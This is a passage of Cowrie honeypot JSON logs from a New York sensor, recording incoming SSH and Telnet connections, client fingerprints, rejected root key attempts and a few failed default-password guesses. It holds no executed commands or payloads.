{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:6a:ce:c3:90:f7:68:f6:00:12:e8:5a:76:17:6b:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmXD5252sXKAgpmq9MKFYLfrok8Qz3LaAf3E26iPK0cBgpMMOY4dTkmdCvT4y5TIHKD+sR4JkMfW0lpgIMnfULGSU4YMYUW1Pfu4hUckmU6TemgAGP5kz7cM/dHViMFI+u05zgWkA53Ftex6aRMRi/A7AUP4nn27dZlHiK0ttq4CPx7GeEwEEdG4s8SEJfn7m04EkLjoKMEt1l0ug9pkCzK++1WmDIotU2TUy+8dS22dRh+lqDwAwwszEfeQmJ+Bjm5Ewrwx9p5dDJmVp79+gS5leImSx9y7codoLp8sEOEbPzyG7i921SeGPtuRdHxOQsIp+nt62tq/ROTYilCLlB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:6a:ce:c3:90:f7:68:f6:00:12:e8:5a:76:17:6b:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:18.595037Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:6a:ce:c3:90:f7:68:f6:00:12:e8:5a:76:17:6b:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmXD5252sXKAgpmq9MKFYLfrok8Qz3LaAf3E26iPK0cBgpMMOY4dTkmdCvT4y5TIHKD+sR4JkMfW0lpgIMnfULGSU4YMYUW1Pfu4hUckmU6TemgAGP5kz7cM/dHViMFI+u05zgWkA53Ftex6aRMRi/A7AUP4nn27dZlHiK0ttq4CPx7GeEwEEdG4s8SEJfn7m04EkLjoKMEt1l0ug9pkCzK++1WmDIotU2TUy+8dS22dRh+lqDwAwwszEfeQmJ+Bjm5Ewrwx9p5dDJmVp79+gS5leImSx9y7codoLp8sEOEbPzyG7i921SeGPtuRdHxOQsIp+nt62tq/ROTYilCLlB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:18.599291Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:f9:89:1d:92:40:d9:73:de:1b:61:3d:98:6a:72:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnktcHhGIKR0JNvJnG5kLsrlHGCpp2xNtO8xRTCgaW8YvebBzkBPmlFzrxurZ7ONH55mjbHR9C/Mig5l/jRedl64aPnIZxFtWRvK0/arIuddVHidtUCxqQA/sgqSTGpap7TH795ohBEZXkwh2/9RwiU+dqGgiyantfV37YZ0NN7Lu5yEL8VzqEKORgiOiTiNYM2wXuzky0yetFRJ2y8tXHCr2bmRETNJXvkLjmrYiGnjbdCsQcBpW5ZGonroJ+v/+7M2bzXNNXKUkN6vVSW/T9pYRQh71uklOW9pjgSO5sZvCpwreBqG8LxVfG3XNhrb+uFr2rAtHK1CMKU86/iKwz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:f9:89:1d:92:40:d9:73:de:1b:61:3d:98:6a:72:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:18.732902Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:f9:89:1d:92:40:d9:73:de:1b:61:3d:98:6a:72:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnktcHhGIKR0JNvJnG5kLsrlHGCpp2xNtO8xRTCgaW8YvebBzkBPmlFzrxurZ7ONH55mjbHR9C/Mig5l/jRedl64aPnIZxFtWRvK0/arIuddVHidtUCxqQA/sgqSTGpap7TH795ohBEZXkwh2/9RwiU+dqGgiyantfV37YZ0NN7Lu5yEL8VzqEKORgiOiTiNYM2wXuzky0yetFRJ2y8tXHCr2bmRETNJXvkLjmrYiGnjbdCsQcBpW5ZGonroJ+v/+7M2bzXNNXKUkN6vVSW/T9pYRQh71uklOW9pjgSO5sZvCpwreBqG8LxVfG3XNhrb+uFr2rAtHK1CMKU86/iKwz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:18.737778Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:66:75:10:3b:36:d1:68:34:2f:0f:48:e9:9b:b2:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIQ5x6t/e6WwqiXtVYE6UAtWMjuVU3M3jFf2nuOMiLn2NHHuSoOBQyFi3ZsXMTTNAHY9YL1p/luSw8u4A3bzvcOWiWjQqW8SetP0Oj9fVi4ZnUceT0m6osWTqW+xRfP/jhCTtaJku1zJVdzez1RStwcERz0hW7M0RXgCYpOz0dhpFR7RR5+ohNqAHRXLmiQ3BlUU5c4EYdIhiFCVB9rmvXCd8UAbd+1FZ2XwThNUzdgyWGjYUAY6CC6M/18FkvthZkJWNjre1q3o+7o6rD0u0O5RsQy2th2WLVsfInuu0EKGg1lfKnlskgCuKquh3uFPUG46UHmQ9O5aPRYXC94usR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:66:75:10:3b:36:d1:68:34:2f:0f:48:e9:9b:b2:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:18.872839Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:66:75:10:3b:36:d1:68:34:2f:0f:48:e9:9b:b2:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIQ5x6t/e6WwqiXtVYE6UAtWMjuVU3M3jFf2nuOMiLn2NHHuSoOBQyFi3ZsXMTTNAHY9YL1p/luSw8u4A3bzvcOWiWjQqW8SetP0Oj9fVi4ZnUceT0m6osWTqW+xRfP/jhCTtaJku1zJVdzez1RStwcERz0hW7M0RXgCYpOz0dhpFR7RR5+ohNqAHRXLmiQ3BlUU5c4EYdIhiFCVB9rmvXCd8UAbd+1FZ2XwThNUzdgyWGjYUAY6CC6M/18FkvthZkJWNjre1q3o+7o6rD0u0O5RsQy2th2WLVsfInuu0EKGg1lfKnlskgCuKquh3uFPUG46UHmQ9O5aPRYXC94usR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:18.877152Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:19:12:99:5d:99:16:51:74:55:aa:53:38:55:22:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyM3GD7TPadx0Ne4xcl+hH7a6W8rnFMvnRbC8aLCryYYuZCEaYfO2sGyyZtLzu0qEzzUdmD3sfEOEaavrICVhkYxyr6IU9uqgWwJG0xiU/TVyyVWIx5LKkFQtiRphP22gK/SN8LpYjhSgAf5m/7/dF+4NRJOEQOXOXmli4m/rveMvf+c6J4YYccu0rr0cW8nestG6B1NnNYMQ5aK6nQelKsDzM7CNRtPGzRINkA5zMPvrpBDERmKVTeMyX2VlXv/xB9CHxETC1DXakWis34YEUQUOMp11Y20DKwiraq2pC1TsjkKejncHAr/71h4HOV99E9FdpyEteqkJZrhea5f2x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:19:12:99:5d:99:16:51:74:55:aa:53:38:55:22:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:19.013678Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:19:12:99:5d:99:16:51:74:55:aa:53:38:55:22:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyM3GD7TPadx0Ne4xcl+hH7a6W8rnFMvnRbC8aLCryYYuZCEaYfO2sGyyZtLzu0qEzzUdmD3sfEOEaavrICVhkYxyr6IU9uqgWwJG0xiU/TVyyVWIx5LKkFQtiRphP22gK/SN8LpYjhSgAf5m/7/dF+4NRJOEQOXOXmli4m/rveMvf+c6J4YYccu0rr0cW8nestG6B1NnNYMQ5aK6nQelKsDzM7CNRtPGzRINkA5zMPvrpBDERmKVTeMyX2VlXv/xB9CHxETC1DXakWis34YEUQUOMp11Y20DKwiraq2pC1TsjkKejncHAr/71h4HOV99E9FdpyEteqkJZrhea5f2x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:19.017749Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:37:f8:2b:6b:11:0a:4f:9c:90:e9:3b:78:6a:cd:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpCg/QydqitydJGJrMUmK6OFHKbFt1lsrrkm7c43rNW6EomlYoDVs6M4MEbMiwwFjPN6U6LxPSAFbT/EWAVIaAeglRiq0g02I5R7CPQt1dky//fU0EscSsEqVjMtVt4GqG9L+mvKCOv4Lc517z1tXGiCy7dzFvw0u+koLPbcjdvQdY23dsJqF1RFnisoZFkY8beIkwUYOxUJqug/0PEChKcsvHg9FAySAMo/VnXIwc/x68xkL7nmxh5LHUI8CrtogPvcp3UbY+ggQidpg4BgqSJBMmoG08uG2GDtvm5aycdyo5n6P1iMzlt32sa/BKrrZcjo6wL0moEe8FbGHWZQKf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:37:f8:2b:6b:11:0a:4f:9c:90:e9:3b:78:6a:cd:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:19.154911Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:37:f8:2b:6b:11:0a:4f:9c:90:e9:3b:78:6a:cd:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpCg/QydqitydJGJrMUmK6OFHKbFt1lsrrkm7c43rNW6EomlYoDVs6M4MEbMiwwFjPN6U6LxPSAFbT/EWAVIaAeglRiq0g02I5R7CPQt1dky//fU0EscSsEqVjMtVt4GqG9L+mvKCOv4Lc517z1tXGiCy7dzFvw0u+koLPbcjdvQdY23dsJqF1RFnisoZFkY8beIkwUYOxUJqug/0PEChKcsvHg9FAySAMo/VnXIwc/x68xkL7nmxh5LHUI8CrtogPvcp3UbY+ggQidpg4BgqSJBMmoG08uG2GDtvm5aycdyo5n6P1iMzlt32sa/BKrrZcjo6wL0moEe8FbGHWZQKf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:19.158551Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:19.292588Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.86697745323181,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:22.119474Z","src_ip":"50.6.8.71","session":"53b485b948ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":60748,"dst_ip":"10.17.0.5","dst_port":23,"session":"19faf65c2f5f","protocol":"telnet","message":"New connection: 67.222.148.25:60748 (10.17.0.5:23) [session: 19faf65c2f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:30.278634Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50362,"dst_ip":"10.17.0.5","dst_port":23,"session":"8baf05ee2212","protocol":"telnet","message":"New connection: 50.6.8.71:50362 (10.17.0.5:23) [session: 8baf05ee2212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:31.909147Z"}
{"eventid":"cowrie.session.closed","duration":35.35193109512329,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:32.204963Z","src_ip":"50.6.8.71","session":"9d7f46bcc3f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":41408,"dst_ip":"10.17.0.5","dst_port":23,"session":"975e9ccbabe9","protocol":"telnet","message":"New connection: 23.94.28.189:41408 (10.17.0.5:23) [session: 975e9ccbabe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:32.600063Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49002,"dst_ip":"10.17.0.5","dst_port":23,"session":"64f325c977da","protocol":"telnet","message":"New connection: 50.6.8.71:49002 (10.17.0.5:23) [session: 64f325c977da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:38.261083Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55766,"dst_ip":"10.17.0.5","dst_port":23,"session":"503f68757543","protocol":"telnet","message":"New connection: 50.6.8.71:55766 (10.17.0.5:23) [session: 503f68757543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:48.367140Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":39972,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1d8a4b021ab","protocol":"ssh","message":"New connection: 87.106.29.151:39972 (159.203.135.109:22) [session: b1d8a4b021ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:01.195775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:01.201732Z","src_ip":"87.106.29.151","session":"b1d8a4b021ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:01.295542Z","src_ip":"87.106.29.151","session":"b1d8a4b021ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tutor","password":"tutor","message":"login attempt [tutor/tutor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:01.700826Z","src_ip":"87.106.29.151","session":"b1d8a4b021ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61290955543518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:02.521935Z","src_ip":"50.6.8.71","session":"8baf05ee2212","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:02.797612Z","src_ip":"87.106.29.151","session":"b1d8a4b021ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":44192,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc97203614ab","protocol":"ssh","message":"New connection: 103.82.20.28:44192 (10.17.0.5:22) [session: bc97203614ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:03.043738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:03.051412Z","src_ip":"103.82.20.28","session":"bc97203614ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:03.320842Z","src_ip":"103.82.20.28","session":"bc97203614ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234q","message":"login attempt [root/1234q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:04.095198Z","src_ip":"103.82.20.28","session":"bc97203614ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:05.362359Z","src_ip":"103.82.20.28","session":"bc97203614ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48374,"dst_ip":"10.17.0.5","dst_port":23,"session":"61f98def0a8f","protocol":"telnet","message":"New connection: 50.6.8.71:48374 (10.17.0.5:23) [session: 61f98def0a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:07.637821Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35554,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbbcada04d3e","protocol":"ssh","message":"New connection: 2.57.122.238:35554 (10.17.0.5:22) [session: dbbcada04d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:07.987884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:07.993641Z","src_ip":"2.57.122.238","session":"dbbcada04d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:08.097888Z","src_ip":"2.57.122.238","session":"dbbcada04d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:08.411854Z","src_ip":"2.57.122.238","session":"dbbcada04d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:09.521630Z","src_ip":"2.57.122.238","session":"dbbcada04d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.18460297584534,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:11.784586Z","src_ip":"23.94.28.189","session":"975e9ccbabe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":56672,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea8a96fe935c","protocol":"telnet","message":"New connection: 49.88.156.34:56672 (10.17.0.5:23) [session: ea8a96fe935c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:13.034335Z"}
{"eventid":"cowrie.session.closed","duration":38.88049268722534,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:17.141446Z","src_ip":"50.6.8.71","session":"64f325c977da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54710,"dst_ip":"10.17.0.5","dst_port":23,"session":"1264a8d02b86","protocol":"telnet","message":"New connection: 50.6.8.71:54710 (10.17.0.5:23) [session: 1264a8d02b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:22.037964Z"}
{"eventid":"cowrie.session.closed","duration":39.988266468048096,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:28.355270Z","src_ip":"50.6.8.71","session":"503f68757543","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.546006441116333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:39.183692Z","src_ip":"50.6.8.71","session":"61f98def0a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5224,"dst_ip":"10.17.0.5","dst_port":22,"session":"e42af2061ca4","protocol":"ssh","message":"New connection: 87.251.64.176:5224 (10.17.0.5:22) [session: e42af2061ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:41.943619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:41.948110Z","src_ip":"87.251.64.176","session":"e42af2061ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman